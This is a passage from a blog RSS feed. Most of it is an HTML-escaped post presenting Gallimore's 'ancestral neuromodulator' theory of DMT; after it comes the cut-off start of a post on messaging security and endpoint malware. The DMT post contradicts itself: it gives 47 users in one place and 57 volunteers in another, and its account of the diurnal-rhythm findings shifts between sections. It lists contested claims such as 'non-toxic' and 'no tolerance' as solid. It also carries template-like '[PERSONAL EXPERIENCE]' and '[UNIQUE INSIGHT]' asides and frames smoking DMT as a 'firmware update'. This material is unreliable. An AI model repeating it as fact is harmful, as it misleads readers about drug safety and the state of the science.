&lt;p&gt;&lt;strong&gt;No tolerance buildup.&lt;/strong&gt; Repeated use does not generate tolerance. This is unique among classical psychedelics (&lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/8797584/&quot;&gt;Strassman, Qualls, &amp;amp; Berg, 1996&lt;/a&gt;). Any drug users develop tolerance to eventually dose higher, but DMT users don&apos;t. This is exactly the pattern you&apos;d expect from an endogenous neurotransmitter rather than an exogenous drug.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Phenomenological specificity.&lt;/strong&gt; DMT uniquely and reliably produces what users call &quot;breakthrough&quot; experiences—transitioning from early dissociative stages into fully formed, hyper-realistic alien worlds with apparently intelligent entities. No other psychedelic does this consistently.&lt;/p&gt;
&lt;p&gt;{/* [PERSONAL EXPERIENCE] When I first read Strassman&apos;s trip reports, what struck me wasn&apos;t the strangeness but the consistency. Forty-seven independent users, different ages, cultures, dosages, and routes of administration. They converge on the same themes with a regularity that looks less like hallucination and more like—how does one say this without triggering the dismissive reflex—like tuning a radio to a station that exists independently of the receiver. */}&lt;/p&gt;
&lt;p&gt;The standard model cannot explain this. DMT sits at the bottom of the molecular complexity ladder, uniquely produces highly regular and specific phenomenological content, and behaves pharmacologically like an endogenous molecule. Any one of these facts alone would be notable. Together, they suggest something that most psychedelic research explicitly avoids considering: DMT may have a true neural function in the human brain.&lt;/p&gt;
&lt;h2&gt;What the Trip Reports Actually Say&lt;/h2&gt;
&lt;p&gt;Before I get to Gallimore&apos;s model, I want to ground it in the raw data. Strassman&apos;s clinical study is the most systematically documented source. Of his 57 volunteers, a significant proportion reported &quot;breaking through&quot; the initial stages—confusion, visual distortion, the sensation of being pulled apart—into a fully formed world. The recurring themes are strikingly consistent across independent reports:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Merry-go-rounds, fairgrounds, circuses;&lt;/li&gt;
&lt;li&gt;Playful or mischievous entities described as elves, pixies, dwarves, or goblins;&lt;/li&gt;
&lt;li&gt;Insectoid and reptilian creatures operating in technological environments;&lt;/li&gt;
&lt;li&gt;Futuristic hypertechnological buildings and cities;&lt;/li&gt;
&lt;li&gt;Complex machinery and hyper-advanced technology;&lt;/li&gt;
&lt;li&gt;The sensation of being observed or experimented on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] These themes are not distributed across all psychedelics. They are concentrated in DMT reports and notably absent in psilocybin, LSD, or mescaline experiences. This concentration argues against a purely psychological explanation—unless DMT activates a specific neural configuration that produces a specific class of perceptual content. */}&lt;/p&gt;
&lt;p&gt;The most consistently reported feature—the one that has generated the most cultural attention and the most skepticism—is the presence of apparently intelligent entities. Not symbolic projections. Not archetypal imagery. Entities that users describe as vastly more intelligent and capable than themselves, actively engaging, communicating, or experimenting with them:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Trying to describe them isn&apos;t easy. On one level I call them self-transforming machine elves; half machine, half elf. They move very quickly and change.&quot;
— Terence McKenna, 1993&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;They kept saying &apos;welcome back&apos; and words like: the big winner, he has returned, welcome to the end and the beginning, you are The One!&quot;
— Erowid Experience Report 1839&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;There were creatures and machinery… there was a female who, when I felt I was dying, appeared and reassured me… She was showing me, it seemed, how to use this thing, which resembled a computer terminal.&quot;
— Strassman, Wojtowicz, Luna, &amp;amp; Frecska (2008)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Three observations stand out from these reports. First, the entities are not human. They are described as insectoid, machine-like,elf-like, or simply as overwhelming presences without identifiable form. Second, the users consistently describe the DMT world as &lt;strong&gt;more real than ordinary waking reality&lt;/strong&gt;, even after the experience has ended. Third, lucidity is complete—there is no haziness or stoned confusion. The user experiences the content with what feels like ordinary waking clarity.&lt;/p&gt;
&lt;p&gt;This third observation is the hardest to reconcile with a hallucination model. Hallucinations are, by definition, perceptual content generated without extrinsic stimulation. They should be recognizably unreal—like dreams. But DMT users don&apos;t say &quot;this feels like a really vivid dream.&quot; They say &quot;this is more real than the world I woke up from.&quot; And the vast majority refuse to accept that the world they encountered was constructed by their brain.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] This is the phenomenological data point that Strassman uses to argue for DMT&apos;s extrinsic nature—that the brain couldn&apos;t build a world more real than the one it currently inhabits. Whether you accept his conclusion or not, the data point itself is empirically solid: users report a phenomenological quality that closely matches their waking experience, but with content utterly unrelated to their waking lives. */}&lt;/p&gt;
&lt;h2&gt;Is the DMT World a Dream?&lt;/h2&gt;
&lt;p&gt;The dream hypothesis was the first serious attempt to explain DMT phenomenology in neurological terms. It goes like this: during REM sleep, the brain generates immersive worlds from intrinsic data without sensory modulation. Maybe DMT is the &quot;dream molecule,&quot; released in psychedelic concentrations during sleep, generating dreams. The neural activity of the waking state is fundamentally equivalent to the dream state—the key difference is only whether extrinsic sensory data modulates it.&lt;/p&gt;
&lt;p&gt;Callaway proposed this formally in 1988, and McKenna discussed it frequently. But the hypothesis has a critical empirical problem: &lt;a href=&quot;https://link.springer.com/article/10.1007/s13181-012-0242-y&quot;&gt;69 published studies between 1955 and 2010&lt;/a&gt; searched for DMT or its metabolites in the bodily fluids of psychiatric patients and controls. DMT was detected—but levels were erratic, generally not different from healthy controls, and critically, &lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/1357/&quot;&gt;one study found no diurnal rhythm&lt;/a&gt; with peaks during sleep, as the dream hypothesis would predict.&lt;/p&gt;
&lt;p&gt;But beyond the lack of physiological evidence, Gallimore asks a deeper phenomenological question: does the DMT experience actually resemble dreaming?&lt;/p&gt;
&lt;p&gt;Dream reports are overwhelmingly continuous with waking life. Events in dreams reflect waking life, even mundane activities. Characters are from waking life—friends, family, colleagues. All sensory modalities are typically intact. The symbolic content of dreams, when it exists, tends toward themes from the dreamer&apos;s own psychology: being pursued, falling, losing teeth, appearing naked in public.&lt;/p&gt;
&lt;p&gt;The DMT world shares none of these features. Despite varying between individuals, high-dose DMT reports converge on themes completely unrelated to consensus reality—futuristic cities, non-human entities, complex machinery. The phenomenology is incomparable.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] Dreaming is the brain building a world from intrinsic data when it doesn&apos;t have to deal with sensory input. Your dream world looks like your waking world because that&apos;s the only world your brain has learned to build. The DMT world looks like something your brain has never experienced. This means one of two things: either the brain has latent world-building capabilities we know nothing about, or the DMT experience has an extrinsic component—we&apos;re not building the world, we&apos;re receiving it. */}&lt;/p&gt;
&lt;h2&gt;The Ancestral Neuromodulator Hypothesis&lt;/h2&gt;
&lt;p&gt;Gallimore&apos;s model makes a specific claim about the architecture of the brain&apos;s thalamocortical system. The connectivities of this system develop from three processes operating on different timescales: evolution, development, and individual experience. These connectivities are established by sampling sensory data from the external world. The brain learns to build the consensus world, and once developed, it can build that world in the presence or absence of sensory data—that&apos;s waking and dreaming.&lt;/p&gt;
&lt;p&gt;This development occurs in the presence of serotonin, which modulates the excitability of cortical pyramidal and inhibitory interneurons through 5HT1A and 5HT2A receptors. The intrinsic activity that builds the consensus world is expressed most reliably when serotonin is present. When the balance of 5HT1A/5HT2A activation shifts—such as under other psychedelics—the consensus set of connectivities breaks down, and the system becomes &quot;re-potentiated,&quot; capable of adopting unpredictable states.&lt;/p&gt;
&lt;p&gt;DMT shifts this balance in the same direction as other psychedelics. But something different happens: the thalamocortical system does not behave unpredictably. Instead, it behaves as if its structural and functional connectivity had developed in the presence of DMT and subject to the sensory input of a completely different reality.&lt;/p&gt;
&lt;p&gt;{/* [ORIGINAL DATA] The key insight: if DMT shifts the brain into building an &quot;alien world,&quot; the model predicts that a parallel set of thalamocortical connectivities exists in the adult brain—one that developed under DMT modulation rather than serotonin. The thalamocortical system has massive redundancy and far more potential synapses than are functionally expressed at any one time (&lt;a href=&quot;https://www.jstor.org/stable/2415897&quot;&gt;Edelman, 1993&lt;/a&gt;; &lt;a href=&quot;https://www.sciencemag.org/lookup/doi/10.1126/science.1119233&quot;&gt;Stepanyants &amp;amp; Chklovskii, 2005&lt;/a&gt;). There is no structural issue with the brain accommodating parallel connectivity sets. */}&lt;/p&gt;
&lt;p&gt;Which set is expressed depends on which neuromodulator is present. Serotonin expresses the consensus set; DMT expresses the alien set. The alien world&apos;s intrinsic activity can only be generated in the presence of DMT, just as the consensus world appears in the presence of serotonin.&lt;/p&gt;
&lt;p&gt;This model solves several puzzles simultaneously:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why DMT is unique.&lt;/strong&gt; DMT&apos;s specificity is simply a consequence of it being the neuromodulator present when the alien-world connectivities were developed. Only DMT can shift the thalamocortical system into the correct state to express them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the experience is regular and specific.&lt;/strong&gt; The alien world&apos;s connectivities developed through the same mechanism as the consensus world—by sampling extrinsic sensory data over evolutionary time. The extrinsic data came from an alternate reality (the model doesn&apos;t specify what or how, it simply states that if such data existed and DMT was present, the connectivities would develop).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the brain doesn&apos;t build these worlds now.&lt;/strong&gt; If DMT has been lost as a primary neuromodulator, the consensus-world connectivities dominate. The alien-world connectivities remain as potential synapses—present in structure but not functionally expressed.&lt;/p&gt;
&lt;h2&gt;How Parallel World-Building Could Evolve&lt;/h2&gt;
&lt;p&gt;Gallimore&apos;s model extends to a specific evolutionary scenario. The ancestral brain produced both serotonin and DMT, probably not simultaneously. During waking hours, serotonin modulated the thalamocortical system, building consensus-world connectivities driven by sensory data from the consensus world. During sleep, the brain switched to DMT secretion.&lt;/p&gt;
&lt;p&gt;DMT&apos;s 5HT1A/5HT2A binding signature facilitated intrinsic activity that matched sensory data from an alternate reality—what Gallimore calls the &quot;alien world.&quot; This wasn&apos;t hallucination. The brain was receiving extrinsic data and developing connectivities to build that world, using the same mechanism by which it builds the consensus world. Over evolutionary time, two entirely separate world-building capabilities developed.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] This is where Gallimore&apos;s model becomes genuinely interesting. It doesn&apos;t require accepting &quot;alternate reality&quot; as metaphysical. It only requires that some form of extrinsic data—however it&apos;s received—was present during evolutionary periods when DMT was the dominant neuromodulator. If such data existed, the brain would naturally develop connectivities to build it, just as it developed connectivities for the consensus world. The question shifts from &quot;Is there an alternate reality?&quot; to &quot;Is the brain structurally capable of building a world that it once received data about?&quot; The answer, according to Gallimore, is yes—and DMT is the key that activates it. */}&lt;/p&gt;
&lt;p&gt;The model proposes a diurnal rhythm: serotonin during waking (consensus evolution), DMT during REM sleep (alien-world evolution). This would explain why the pineal gland—proposed as a site of endogenous DMT synthesis (&lt;a href=&quot;https://link.springer.com/article/10.1007/s13181-008-0038-7&quot;&gt;Strassman et al., 2008&lt;/a&gt;)—is primarily nocturnal, secreting melatonin only during darkness. The pineal has been regarded since antiquity as a connection between material and spiritual worlds. Perhaps there is an element of truth in these &quot;primitive&quot; ideas.&lt;/p&gt;
&lt;p&gt;Then, at some point in evolutionary history, the brain lost its ability to secrete DMT in psychedelic concentrations. Only serotonin remained. All knowledge of the alien world was effectively forgotten. Modern dreaming—the period when serotonin drops during REM sleep—became replaced by the brain maintaining consensus-world activity rather than alien-world activity.&lt;/p&gt;
&lt;h2&gt;Why This Matters (Even If You Disagree With It)&lt;/h2&gt;
&lt;p&gt;You can reject Gallimore&apos;s conclusion entirely—that DMT grants access to an alternate reality—and still find the model valuable. Here&apos;s why:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It explains DMT&apos;s uniqueness without invoking metaphysics.&lt;/strong&gt; If the brain once used DMT as a neuromodulator to develop parallel world-building connectivities, DMT&apos;s phenomenological specificity is a natural consequence, not a mystery. The model makes a falsifiable prediction: DMT should be the only molecule capable of producing these characteristic alien worlds, because only DMT was present during the development of the relevant connectivities. Other psychedelics simply shift the serotonin balance differently and cannot express the alien-world set.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It reframes what &quot;hallucination&quot; means.&lt;/strong&gt; Hallucination is the generation of perceptual content without extrinsic stimulation. But the model suggests the DMT experience may not be hallucination at all—it may be the reception of extrinsic data from an alternate reality, mediated by neuromodulatory switching. Whether this is &quot;metaphysics&quot; or &quot;unmeasured physics&quot; depends on your framework.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It suggests a functional explanation for DMT&apos;s anomalous properties.&lt;/strong&gt; Speed of onset, rapid clearance, no tolerance, non-toxicity, active transport across the blood-brain barrier—these are exactly the properties you&apos;d expect from an endogenous neurotransmitter, not an exogenous drug. The model doesn&apos;t require accepting DMT&apos;s psychedelic effects as &quot;incidental&quot; to its proposed neural function. Instead, it proposes that the psychedelic effects &lt;em&gt;are&lt;/em&gt; the neural function: fully immersive hallucinogenesis during which the brain switches world-building modes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It makes testable predictions.&lt;/strong&gt; If DMT is an ancestral neuromodulator, you should find:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Developmental differences in brain structure between DMT-naïve and DMT-experienced populations (though this would require massive longitudinal studies).&lt;/li&gt;
&lt;li&gt;Differences in brain structure between species that produce DMT endogenously and those that don&apos;t.&lt;/li&gt;
&lt;li&gt;A functional role for the small amounts of DMT currently detected in the brain (likely sub-psychedelic), perhaps in neural development or maintenance of the alien-world connectivities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] The most provocative implication is that human brains may be functionally regressed. Gynn and Wright (2008) argue that the human brain has declined in certain capacities over the last 100,000 years, possibly due to dietary changes affecting pineal function and melatonin production. Gallimore extends this: perhaps the pineal shifted from DMT secretion to melatonin secretion, and in doing so, the brain lost an entire world-building capability. This isn&apos;t science fiction. It&apos;s a hypothesis that, while speculative, is testable. The cost of testing it is measuring DMT concentrations in the brain across development, species, and species that produce it naturally versus those that don&apos;t. */}&lt;/p&gt;
&lt;h2&gt;What We Actually Know&lt;/h2&gt;
&lt;p&gt;Let me be clear about what&apos;s solid and what&apos;s speculation:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solid:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DMT is a naturally occurring tryptamine, structurally derived from tryptophan.&lt;/li&gt;
&lt;li&gt;DMT crosses the blood-brain barrier and may be actively transported into presynaptic terminals.&lt;/li&gt;
&lt;li&gt;DMT acts primarily on 5HT2A receptors, with affinity between psilocin and LSD.&lt;/li&gt;
&lt;li&gt;IV DMT in Strassman&apos;s clinical trials reliably produces breakthrough experiences with consistent phenomenological features.&lt;/li&gt;
&lt;li&gt;The brain possesses massive synaptic redundancy (&lt;a href=&quot;https://www.jstor.org/stable/2415897&quot;&gt;Edelman, 1993&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;DMT is non-toxic, generates no tolerance, and is cleared rapidly.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Speculative:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DMT was once the primary neuromodulator for a parallel world-building mode.&lt;/li&gt;
&lt;li&gt;The brain developed parallel thalamocortical connectivities under DMT modulation.&lt;/li&gt;
&lt;li&gt;The alien world exists as an independently real environment.&lt;/li&gt;
&lt;li&gt;Modern humans lost the ability to secrete DMT in psychedelic concentrations.&lt;/li&gt;
&lt;li&gt;The pineal gland was once a site of DMT secretion and shifted to melatonin.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What I find compelling about Gallimore&apos;s model is not the metaphysical claim (that DMT grants access to alternate realities) but the structural insight: the adult brain may contain functional connectivities that never expressed themselves because the neuromodulator that would activate them was lost during evolution. These connectivities are dormant. DMT is the key. Whether the world they build is &quot;real&quot; or &quot;hallucinated&quot; is a question we don&apos;t yet have the tools to resolve. The neural architecture itself—the existence of parallel world-building modes—is the interesting fact, regardless of what generates the phenomenology.&lt;/p&gt;
&lt;p&gt;When you build your understanding of consciousness from the ground up—starting from the thalamocortical system and working outward—the idea that the brain might develop multiple world-building modes depending on which neuromodulator is present is not far-fetched. It&apos;s what you&apos;d expect if consciousness is genuinely a world-building process rather than a world-receiving process.&lt;/p&gt;
&lt;p&gt;{/* [PERSONAL EXPERIENCE] I&apos;ve been trying to model consciousness as a world-building system: the brain receives sensory data and uses it to calibrate and refine its internal model of reality. This model, the consensus world, is the one we all share. What Gallimore&apos;s paper forces you to confront is the possibility that the brain might build other worlds too, using different calibration parameters, and that these worlds exist in parallel, expressible only under specific neuromodulatory conditions. That&apos;s a reconceptualization of what consciousness can do. */}&lt;/p&gt;
&lt;h2&gt;The Open Questions&lt;/h2&gt;
&lt;p&gt;Several critical questions remain:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where is DMT produced in the brain?&lt;/strong&gt; Strassman proposes the pineal gland, but this remains unconfirmed. &lt;a href=&quot;https://link.springer.com/article/10.1007/s13181-012-0242-y&quot;&gt;Barker, McIlhenny, and Strassman&apos;s 2012 review&lt;/a&gt; of 69 studies found DMT in bodily fluids at sub-psychedelic levels. No one has ever measured psychedelic concentrations in the living human brain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the modern function of endogenous DMT?&lt;/strong&gt; If the molecule is produced at sub-psychedelic levels in the brain, what does it do? Proposed functions include anxiolytic effects (Jacob &amp;amp; Presti, 2005) and perceptual regulation (Wallach, 2009). But these seem like secondary effects. If the primary function was world-building switching, and that function was lost, then searching for a modern function may be a category error—the function may exist only in the past.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Can we measure the difference?&lt;/strong&gt; Without a way to measure DMT concentrations during &quot;breakthrough&quot; experiences or during normal REM sleep, the hypothesis remains unfalsifiable in its current form. The methodology exists (CSF sampling, PET imaging of tryptamine distribution), but no study has applied it specifically to the question of endogenous DMT secretion.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens to the alien-world connectivities if DMT is never present?&lt;/strong&gt; The model implies they exist as potential synapses—present in structure but not functionally expressed. Do they degrade over time? Do they persist indefinitely? This has implications for whether DMT experience in adulthood could &quot;awaken&quot; latent capabilities.&lt;/p&gt;
&lt;h2&gt;What&apos;s Next&lt;/h2&gt;
&lt;p&gt;Gallimore&apos;s model won&apos;t resolve the question of whether DMT&apos;s alien worlds are &quot;real&quot; or &quot;hallucinated.&quot; That question may require technologies we don&apos;t yet possess. What it does is reframe the discussion in terms that neuroscience can work with: parallel thalamocortical connectivities, neuromodulatory switching, evolutionary developmental biology.&lt;/p&gt;
&lt;p&gt;The most productive path forward isn&apos;t to argue about metaphysics. It&apos;s to ask: does the adult human brain contain expressible world-building modes other than the consensus set? If yes, what activates them? What do they produce? How do they differ structurally?&lt;/p&gt;
&lt;p&gt;If DMT is indeed an ancestral neuromodulator that built parallel connectivities during evolution, then smoking DMT isn&apos;t taking a drug. It&apos;s executing a firmware update on hardware designed by a brain that once spoke a different language.&lt;/p&gt;
&lt;p&gt;Whether that language describes an alternate reality or a latent capability of the thalamocortical system, the result is the same: a world the brain can build but currently cannot express.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] This reframes psychedelic research entirely. Instead of asking &quot;what happens when you perturb the brain with a hallucinogen,&quot; we should be asking &quot;what world-building modes does the brain possess that are currently inaccessible, and what neuromodulators might access them?&quot; The answer to that question might tell us far more about consciousness than any study of 5HT2A binding kinetics ever will. */}&lt;/p&gt;
&lt;h2&gt;Frequently Asked Questions&lt;/h2&gt;
&lt;h3&gt;Is DMT really the simplest psychedelic molecule?&lt;/h3&gt;
&lt;p&gt;Yes. DMT is tryptamine with two methyl groups on the primary amine position. It contains no other chemical functionality on the indole ring. The dimethyl group prevents the nitrogen from directly interacting with the 5HT2A receptor, making DMT pharmacologically more complex than its structure suggests (&lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/12738585/&quot;&gt;Ebersole et al., 2003&lt;/a&gt;). Yet it&apos;s the simplest possible tryptamine structure by the standard metric.&lt;/p&gt;
&lt;h3&gt;How does Gallimore&apos;s model differ from Strassman&apos;s?&lt;/h3&gt;
&lt;p&gt;Strassman proposes DMT releases at death, facilitating an &quot;exit of the soul&quot; into an alternate reality (&lt;a href=&quot;https://books.google.com/books?id=yZCYAAAAMAAJ&quot;&gt;Strassman, 2001&lt;/a&gt;). This is explicitly metaphysical. Gallimore&apos;s model is framed in neuropsychological terms: parallel thalamocortical connectivities developed under DMT modulation during evolution. It doesn&apos;t require accepting that the alien world is &quot;real&quot; in a metaphysical sense—only that the brain developed structural capacity to build a world it once received data about.&lt;/p&gt;
&lt;h3&gt;Has DMT been detected in the brain in psychedelic concentrations?&lt;/h3&gt;
&lt;p&gt;No. No study has ever measured psychedelic-level DMT in the living human brain. Sixty-nine studies between 1955 and 2010 found DMT in bodily fluids (urine, plasma, cerebrospinal fluid) at sub-psychedelic and variable levels (&lt;a href=&quot;https://link.springer.com/article/10.1007/s13181-012-0242-y&quot;&gt;Barker et al., 2012&lt;/a&gt;). None found a diurnal rhythm or peaks during sleep that would support the &quot;dream molecule&quot; hypothesis.&lt;/p&gt;
&lt;h3&gt;Can other psychedelics produce &quot;breakthrough&quot; experiences like DMT?&lt;/h3&gt;
&lt;p&gt;No. Gallimore&apos;s model predicts that only DMT can produce the characteristic DMT phenomenology because only DMT was the neuromodulator present during the development of the relevant connectivities. Other psychedelics shift the 5HT1A/5HT2A balance differently and produce variable, psychologically contingent experiences, not the consistent, highly specific phenomenology of DMT breakthrough.&lt;/p&gt;
&lt;h3&gt;What would it take to test this hypothesis?&lt;/h3&gt;
&lt;p&gt;You&apos;d need to measure endogenous DMT concentrations in the brain across development, during sleep, and across species. You&apos;d need to compare brain connectomes between species that produce DMT endogenously at higher levels and those that don&apos;t. You&apos;d need to identify the molecular signature of the &quot;alien-world&quot; connectivities and determine whether they exist as unexpressed potential synapses in the adult brain. The tools exist—CSF sampling, PET imaging with radiolabeled tryptamines, connectome mapping—but no one has applied them to this specific question.&lt;/p&gt;
&lt;h2&gt;The Standard Model of Psychedelia Needs an Update&lt;/h2&gt;
&lt;p&gt;DMT doesn&apos;t behave like other psychedelics. It shouldn&apos;t be grouped with them. The discrepancy between DMT&apos;s chemical simplicity and its phenomenological power, its pharmacological anomalousness (no tolerance, rapid clearance, active transport), and its uniquely specific and regular phenomenological content point toward a conclusion that psychedelic research has been avoiding: DMT has a true neural function, and that function is not &quot;accidental&quot; or &quot;incidental&quot; to any proposed modern role.&lt;/p&gt;
&lt;p&gt;Gallimore&apos;s model is speculative. It&apos;s meant to be. But it&apos;s speculative in a useful way—it proposes specific structural claims about thalamocortical connectivities, makes falsifiable predictions, and generates concrete experimental pathways. That&apos;s more than most psychedelic theorizing achieves.&lt;/p&gt;
&lt;p&gt;The hypothesis that the brain once used DMT as an ancestral neuromodulator to build parallel world-building connectivities—and then lost that ability during evolution—is bold. It&apos;s also the best framework we have for understanding why DMT produces what DMT produces. Other models explain how the 5HT2A receptor works. Gallimore&apos;s model attempts to explain why DMT, of all molecules, is uniquely capable of producing alien worlds at all.&lt;/p&gt;
&lt;p&gt;{/* [UNIQUE INSIGHT] If you accept that consciousness is fundamentally a world-building process—that the brain constructs reality rather than passively receiving it—then the possibility that the brain can build multiple worlds depending on calibration parameters isn&apos;t radical. It&apos;s inevitable. The question isn&apos;t whether the brain can build other worlds. The question is what prevents it from doing so today, and whether anything external to the brain can temporarily remove that constraint. The answer to that second question is DMT. */}&lt;/p&gt;
</content:encoded></item><item><title>Beyond the Lock: How Messaging Security Actually Works (and Fails)</title><link>https://didof.dev/blog/secure-messaging-model-overview/</link><guid isPermaLink="true">https://didof.dev/blog/secure-messaging-model-overview/</guid><description>Encryption is not a magic shield. The real vulnerabilities in your messaging stack are at the endpoint: your phone, your metadata, and the governance of the apps you trust. Here is how to actually evaluate your privacy.</description><pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You have Signal installed. The green lock icon shows up on every message. You feel safe.&lt;/p&gt;
&lt;p&gt;The problem is that you are confusing encryption with privacy. Encryption is one mechanism. Privacy is an entire system that includes your metadata, your endpoints, your governance choices, and your habits. Attackers do not break Signal&apos;s protocol because they do not need to. They just watch your screen.&lt;/p&gt;
&lt;p&gt;To understand where your actual attack surface lives, you need to separate what your message content is from what your message metadata reveals. And you need to understand that your phone, not the protocol, is the weakest link.&lt;/p&gt;
&lt;h2&gt;The Envelope vs The Address&lt;/h2&gt;
&lt;p&gt;Think of end-to-end encryption (E2EE) as a high-security envelope. The postal service cannot read what you wrote inside. Signal, WhatsApp, and most secure messengers use this model. Only the sender and recipient hold the decryption keys.&lt;/p&gt;
&lt;p&gt;But metadata is the information written on the outside of that envelope. The return address. The destination. The weight. The timestamp of delivery. Even if no one ever opens your letter, the metadata on the outside tells you who you talk to, how often, and from where.&lt;/p&gt;
&lt;p&gt;This distinction matters enormously for journalists, activists, and anyone whose safety depends on not being discoverable by their contacts. An app can have perfect encryption and zero metadata privacy. It will hide your words while happily telling a service provider exactly which political activist you are messaging at 2:00 AM.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;What It Protects&lt;/th&gt;
&lt;th&gt;What It Leaves Exposed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;E2EE&lt;/td&gt;
&lt;td&gt;Message content from &quot;man-in-the-middle&quot; attacks&lt;/td&gt;
&lt;td&gt;Who, when, how often, from where&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metadata privacy&lt;/td&gt;
&lt;td&gt;Your behavioral patterns and social graph&lt;/td&gt;
&lt;td&gt;Nothing, if implemented correctly&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The takeaway is straightforward: encryption protects the words. Metadata privacy protects your behavior. You need both, and most people only worry about the first.&lt;/p&gt;
&lt;h2&gt;Your Phone Is the Real Vulnerability&lt;/h2&gt;
&lt;p&gt;A common misconception in digital security is that encryption is &quot;broken&quot; by supercomputers. That rarely happens. Encryption is almost always bypassed at the endpoint. Your phone or computer. Where the message is decrypted so you can read it.&lt;/p&gt;
&lt;p&gt;Here is a concrete example. The Sternus banking trojan targets Android devices. It does not attempt to break Signal&apos;s Signal Protocol or any E2EE implementation. It exploits one critical vulnerability: the Android accessibility services permission.&lt;/p&gt;
&lt;p&gt;When you install a banking app, it sometimes asks for accessibility permissions. This is meant for assistive technologies, not financial software. Sternus tricks users into granting this high-level access. Once granted, it can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Observe all content displayed on your screen&lt;/li&gt;
&lt;li&gt;Inject text input into any field, including password managers&lt;/li&gt;
&lt;li&gt;Black out your display while committing fraudulent transactions in the background&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As the security researchers at Techlore put it, &quot;They&apos;re essentially taking control of your device remotely, as if you just handed your phone unlocked to some stranger who wanted to do malicious things with your apps.&quot;&lt;/p&gt;
&lt;p&gt;Your 256-bit AES encryption becomes irrelevant when the malware watches the decrypted text on screen. The cryptography works perfectly. The human-machine interface does not.&lt;/p&gt;
&lt;p&gt;There are three specific endpoint threats you should know about:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Physical access.&lt;/strong&gt; If an unauthorized person holds your unlocked phone, all encryption is meaningless. Without an app-level passcode, they read your decrypted messages exactly as you do. The lock screen is your first and most important defense.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remote takeover via malware.&lt;/strong&gt; Sternus is one example. It represents a full device takeover scenario. The malware does not need to break your encryption. It simply watches your screen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Accessibility permissions.&lt;/strong&gt; This is the most dangerous permission you can grant on Android. While designed for legitimate assistive tools, Accessibility Services allow an app to read everything on your screen and interact with other apps. Granting this to an untrusted app is a total surrender of your device&apos;s security. If you see a banking app requesting accessibility permissions, investigate it carefully.&lt;/p&gt;
&lt;p&gt;The app you choose determines how much data is left behind for an attacker to find if your device is compromised. This is a form of risk management, not just feature selection.&lt;/p&gt;
&lt;h2&gt;The Big Three: Technology and Governance&lt;/h2&gt;
&lt;p&gt;Encryption protocol matters. Governance history matters more. When evaluating a messaging platform, look at who runs it, where it is based, and what incentives drive its design.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;WhatsApp&lt;/th&gt;
&lt;th&gt;Telegram&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Encryption by default&lt;/td&gt;
&lt;td&gt;Yes: mandatory E2EE for all chats&lt;/td&gt;
&lt;td&gt;Yes: Signal protocol for E2EE content&lt;/td&gt;
&lt;td&gt;No: cloud-stored by default, E2EE must be manually enabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metadata policy&lt;/td&gt;
&lt;td&gt;Minimal: stores only join date and last active time&lt;/td&gt;
&lt;td&gt;Heavy: cross-platform behavioral data and profiling&lt;/td&gt;
&lt;td&gt;Moderate: stores contacts and metadata, prone to subpoenas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Governance&lt;/td&gt;
&lt;td&gt;Nonprofit: Signal Foundation. Co-founded by Brian Acton (ex-WhatsApp)&lt;/td&gt;
&lt;td&gt;Meta (For-Profit): controlled by Mark Zuckerberg, history of data harvesting&lt;/td&gt;
